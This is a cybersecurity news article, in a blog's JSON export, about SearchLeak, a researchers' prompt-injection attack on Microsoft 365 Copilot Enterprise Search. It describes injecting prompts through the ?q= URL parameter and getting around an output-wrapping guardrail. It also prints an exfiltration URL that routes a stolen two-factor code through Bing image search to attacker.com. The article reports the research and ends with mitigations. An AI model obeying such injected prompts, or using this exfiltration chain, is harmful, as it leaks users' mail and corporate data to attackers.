{"id":8534,"date":"2026-06-19T07:00:00","date_gmt":"2026-06-19T07:00:00","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=8534"},"modified":"2026-06-19T07:00:00","modified_gmt":"2026-06-19T07:00:00","slug":"m365-copilot-searchleak-your-prompt-injection-attack-surface-just-got-bigger","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=8534","title":{"rendered":"M365 Copilot SearchLeak: Your prompt injection attack surface just got bigger"},"content":{"rendered":"
\n
\n
\n
\n
<\/div>\n

A recent proof-of-concept attack against Microsoft\u2019s M365 Copilot Enterprise highlights what could be a much broader prompt injection threat based on a common way many AI-enhanced web services operate.<\/p>\n

Dubbed SearchLeak, the attack hinged on a typical malicious objective: to leak sensitive corporate data by tricking employees to click on specially crafted links.<\/p>\n

To carry out the attack, researchers combined three weaknesses in the Copilot Enterprise Search implementation \u2014 one of which stands out as a potential issue in other AI-enabled applications as well. Microsoft, which rated the information disclosure flaw as critical, patched the vulnerability<\/a> on the server side earlier this month, but the attack also shows the implications of AI-powered services having broad access to corporate assets on behalf of their users.<\/p>\n

\u201cSince SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn\u2019t limited to personal data \u2014 it\u2019s able to surface anything the user has access to inside the organization including emails, meeting invites and notes, SharePoint documents, OneDrive files, and other indexed business content,\u201d researchers from Varonis Threat Labs said in their report<\/a>. \u201cDepending on how M365 is connected to the environment, the blast radius could extend even wider.\u201d<\/p>\n

Parameter-to-prompt injection<\/h2>\n

What makes the attack possble is the way Microsoft Copilot Enterprise Search operates.<\/p>\n

As is common for search capabilities in many web applications, Copilot Search relies on URLs that contain a ?q=[query] parameter. But because Copilot Search is AI-powered, the query parameter accepts natural language prompts, not just simple search queries.<\/p>\n

\u201cTurning a URL parameter into an AI instruction that silently exfiltrates data? That\u2019s the AI-native piece,\u201d the researchers said. \u201cIt\u2019s the new attack surface that makes the classic bugs exploitable in a way they wouldn\u2019t be otherwise, something we\u2019ve now witnessed with SearchLeak and Reprompt.\u201d<\/p>\n

Reprompt<\/a> is a similar attack Varonis researchers uncovered in Microsoft Copilot Personal and revealed this week. But there are other pecedents for what Varonis has dubbed as parameter-to-prompt (P2P) injection. Last October, researchers from LayerX revealed a prompt injection vulnerability in Perplexity\u2019s Comet browser<\/a> that also relied on data leak instructions being passed to an AI-powered search engine via the q= parameter in URLs.<\/p>\n

Even earlier, in July 2025, researchers from Tenable revealed a vulnerability in ChatGPT<\/a> that also used maliciously crafted URLs. With URL query parameters becoming a common way of enabling on-the-fly prompt execution in AI-powered applications, this attack vector might become more commonly exploited in the future.<\/p>\n

\u201cWe did check many other LLMs, and some of them had a similar technique,\u201d Mark Vaitsman, the security research team leader at Varonis, told CSO. \u201cSome other LLMs have the option to use this type of technique, but are very strict about what can get in.\u201d<\/p>\n

Getting the data out<\/h2>\n

Getting an LLM to execute rogue prompts to access a company\u2019s data is only one part of a succesful attack. The other requires finding ways to extract that data to an external server, because just tricking the web service to present data to the victim inside their browser does not inherintely pose any security risk. The user already can search and access that data.<\/p>\n

One common exfiltration technique in prompt injection attacks is to abuse an AI-powered web application\u2019s ability to render responses as HTML, given that HTML can include elements that require the browser to send requests to remote resources, such as <img> tags. By abusing such tags, attackers can force the data to be leaked via browser requests to a server under their control.<\/p>\n

In the case of Copilot Enterprise Search, Microsoft had a guardrail in place that enclosed the LLM\u2019s search responses inside <code> blocks, presenting it to the browser as text. Varonis researchers found, however, that this wrapping did not apply until after the model finished its thinking phase. The thinking process itself was still rendered as HTML in the user\u2019s browser.<\/p>\n

\u201cThis is a textbook race condition,\u201d the researchers said. \u201cThe guardrail is a post-processing step applied to the final output, but the browser doesn\u2019t wait for \u2018final\u2019 \u2014 it renders incrementally. By the time the sanitizer activates, the damage is done.\u201d<\/p>\n

Microsoft had a second guardrail, the Content Security Policy (CSP), that allows website owners to define what external domains can load resources into the page. In this case, the CSP for m365.cloud.microsoft.com also allowed resources from *.bing.com, Microsoft\u2019s search engine.<\/p>\n

It turns out that Bing\u2019s Image Search supports an imgurl= URL parameter to fetch images from external servers. As a result, the researchers could use Bing\u2019s Image Search as a proxy to leak the data.<\/p>\n

The proof-of-concept attack chain developed by Varonis showed how a user\u2019s two-factor authentication code sent via email could be leaked. First, they would craft a link to Copilot Enterprise Search that would instruct the service to search through the user\u2019s mailbox for an email with the code, then store that code in a variable and formulate a response that includes an <img> with the source being https:\/\/www.bing.com\/images\/searchbyimage?cbir=sbi&imgurl=https:\/\/attacker.com\/$variable\/img.png.<\/p>\n

\u201cBecause Copilot Enterprise operates with the user\u2019s full graph permissions, the attacker effectively inherits the victim\u2019s access to the organization\u2019s data, without ever authenticating,\u201d the researchers found. \u201cThis enables account takeover and broader data theft scenarios without the victim\u2019s knowing. No special privileges are needed on the attacker\u2019s side, just a crafted URL and a single click from the victim.\u201d<\/p>\n

Mitigating the broader implications<\/h2>\n

What these POC attacks show is that developers of AI-powered web applications and services need to filter the type of prompts allowed through URL query parameters and sanitize output at render time, not as a post-processing step. CSP policies should also be reviewed for potential server-side request forgery (SSRF) risks through the whitelisted domains.<\/p>\n

Organizations that use such services should train employees to be suspicious of links with long query parameters, especially if they\u2019re encoded. Security teams should detect and block requests to URLs that contain HTML tags in them or instructions to embed data in those tags.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>","protected":false},"excerpt":{"rendered":"

A recent proof-of-concept attack against Microsoft\u2019s M365 Copilot Enterprise highlights what could be a much broader prompt injection threat based on a common way many AI-enhanced web services operate. Dubbed SearchLeak, the attack hinged on a typical malicious objective: to leak sensitive corporate data by tricking employees to click on specially crafted links. To carry […]<\/p>\n","protected":false},"author":0,"featured_media":8535,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-8534","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-education"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/8534"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8534"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/8534\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/media\/8535"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8534"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8534"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8534"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}